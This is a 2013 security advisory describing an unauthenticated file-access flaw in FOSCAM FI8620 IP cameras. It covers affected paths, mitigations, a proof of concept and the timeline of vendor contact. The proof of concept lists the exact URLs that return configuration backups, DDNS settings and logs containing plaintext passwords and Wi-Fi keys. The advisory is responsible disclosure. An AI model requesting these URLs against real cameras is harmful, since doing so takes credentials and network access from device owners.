FOSCAM IP-Cameras - Improper Access Restrictions

Core Security - Corelabs Advisory

http://corelabs.coresecurity.com/



FOSCAM IP-Cameras Improper Access Restrictions





1. *Advisory Information*



Title: FOSCAM IP-Cameras Improper Access Restrictions

Advisory ID: CORE-2013-0613

Advisory URL:

http://www.coresecurity.com/advisories/foscam-ip-cameras-improper-access-restrictions

Date published: 2013-07-23

Date of last update: 2013-07-23

Vendors contacted: Foscam

Release mode: User release





2. *Vulnerability Information*



Class: Information Exposure [CWE-200]

Impact: Security bypass

Remotely Exploitable: Yes

Locally Exploitable: No

CVE Name: CVE-2013-2574





3. *Vulnerability Description*



Due to improper access restriction the FOSCAM FI8620 device [1] allows a

remote attacker to browse and access arbitrary files from the following

directories '/tmpfs/' and '/log/' without requiring authentication. This

could allow a remote attacker to obtain valuable information such as

access credentials, Wi-Fi configuration and other sensitive information

in plain text.



The list of affected files includes, but is not limited to, the following:



   . 'http://<target_ip>/tmpfs/config_backup.bin'

   . 'http://<target_ip>/tmpfs/config_restore.bin'

   . 'http://<target_ip>/tmpfs/ddns.conf'

   . 'http://<target_ip>/tmpfs/syslog.txt'

   . 'http://<target_ip>/log/syslog.txt'





4. *Vulnerable Packages*



   . FOSCAM FI8620 PTZ Camera.

   . Other Foscam devices based on the same firmware are probably

affected too, but they were not checked.





5. *Non-Vulnerable Packages*



Vendor did not provide details. Contact Foscam for further information.





6. *Vendor Information, Solutions and Workarounds*



There was no official answer from Foscam after several attempts (see

[Sec. 9]); contact vendor for further information. Some mitigation

actions may be do not expose the camera to internet unless absolutely

necessary and have at least one proxy filtering HTTP requests to the

following resources:



   . '/tmpfs/config_backup.bin'

   . '/tmpfs/config_restore.bin'

   . '/tmpfs/ddns.conf'

   . '/tmpfs/syslog.txt'

   . '/log/syslog.txt'





7. *Credits*



This vulnerability was discovered by Flavio de Cristofaro and researched

with the help of Andres Blanco from Core Security Technologies. The

publication of this advisory was coordinated by Fernando Miranda from

Core Advisories Team.





8. *Technical Description / Proof of Concept Code*



8.1. *Accessing Manufacturer DDNS configuration*



By requesting the following URL using your default web browser:





/-----

http://<target_ip>/tmpfs/ddns.conf

-----/



you will see something like this:





/-----

[LoginInfo]

HostName=ddns.myfoscam.org

HostIP=113.105.65.47

Port=8080

UserName=<target username>

Password=<target plain password>

[Domain]

Domain=<target username>.myfoscam.org;

-----/





8.2. *Access Credentials Stored in Backup Files*



When a configuration backup is required by an operator/administrator,

the backup is generated in the local folder 'tmpfs' named as

'config_backup.bin'. The binary file is just a dump of the whole

configuration packed as Gzip and can be accessed by accessing the

following URL:



/-----

http://<target_ip>/tmpfs/config_backup.bin

-----/



The presence of this temporary file enables an unauthenticated attacker

to download the configuration files which contain usernames, plaintext

passwords (including admin passwords), Wifi configuration including

plain PSK, among other interesting stuff as shown below:



/-----

username             = "admin           "

password             = "admin           "

authtype             = "15              "         

authgroup            = "                "

[user1]

username             = "user            "

password             = "user            "

authtype             = "3               "         

authgroup            = "                "

[user2]

username             = "guest           "

password             = "guest           "

authtype             = "1               "         

authgroup            = "                "

-----/



It is important to mention that, in order to access the configuration

file previously mentioned, an operator and/or administrator should have

executed the backup process in advance.





9. *Report Timeline*

. 2013-06-12:

Core Security Technologies notifies the Foscam team of the vulnerability.



. 2013-06-12:

Vendor acknowledges the receipt of the email and asks for technical

details.



. 2013-06-13:

A draft report with technical details and a PoC is sent to vendor.

Publication date is set for Jul 3rd, 2013.



. 2013-06-17:

Core asks if the vulnerabilities are confirmed.



. 2013-06-17:

Foscam product team notifies that they have checked CORE's website [2],

but there is no Foscam info.



. 2013-06-18:

Core notifies that the advisory has not been published yet and re-sends

technical details and proof of concept.



. 2013-06-26:

CORE asks for a reply.



. 2013-07-03:

First release date missed.



. 2013-07-03:

Core asks for a reply.



. 2013-07-11:

Core notifies that the issues were reported 1 month ago and there was no

reply since [2013-06-18].



. 2013-07-23:

Core releases the advisory CORE-2013-0613 tagged as user-release.





10. *References*



[1] Foscam FI8620 - http://www.foscam.com/prd_view.aspx?id=176.

[2] CORE Security Advisories http://www.coresecurity.com/grid/advisories.





11. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

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http://corelabs.coresecurity.com.





12. *About Core Security Technologies*



Core Security Technologies enables organizations to get ahead of threats

with security test and measurement solutions that continuously identify

and demonstrate real-world exposures to their most critical assets. Our

customers can gain real visibility into their security standing, real

validation of their security controls, and real metrics to more

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Technologies can be reached at +1 (617) 399-6980 or on the Web at:

http://www.coresecurity.com.





13. *Disclaimer*



The contents of this advisory are copyright (c) 2013 Core Security

Technologies and (c) 2013 CoreLabs, and are licensed under a Creative

Commons Attribution Non-Commercial Share-Alike 3.0 (United States)

License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/





14. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.